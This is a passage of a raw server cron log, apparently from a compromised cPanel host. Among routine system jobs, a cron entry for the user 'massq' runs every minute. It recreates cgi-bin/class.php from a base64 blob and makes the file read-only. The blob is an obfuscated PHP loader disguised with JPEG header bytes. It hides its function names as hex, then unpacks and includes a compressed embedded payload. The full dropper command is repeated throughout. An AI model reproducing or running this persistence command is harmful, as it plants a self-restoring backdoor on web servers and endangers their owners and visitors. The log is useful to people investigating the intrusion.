KSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:00:01 server CROND[9319]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 15:00:01 server CROND[9320]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 15:00:01 server CROND[9322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:00:01 server CROND[9321]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 15:01:01 server CROND[9454]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 15:01:01 server CROND[9456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:01:01 server run-parts(/etc/cron.hourly)[9454]: starting 0anacron
Apr  6 15:01:01 server run-parts(/etc/cron.hourly)[9467]: finished 0anacron
Apr  6 15:02:01 server CROND[9535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:03:01 server CROND[9601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:04:01 server CROND[9757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:05:01 server CROND[9824]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 15:05:01 server CROND[9826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:05:01 server CROND[9827]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 15:05:01 server CROND[9828]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 15:06:01 server CROND[9950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:07:01 server CROND[10022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:08:01 server CROND[10092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:09:01 server CROND[10253]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 15:09:01 server CROND[10254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:10:01 server CROND[10333]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 15:10:01 server CROND[10337]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 15:10:01 server CROND[10334]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 15:10:01 server CROND[10336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:11:01 server CROND[10594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:12:01 server CROND[10734]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 15:12:01 server CROND[10735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
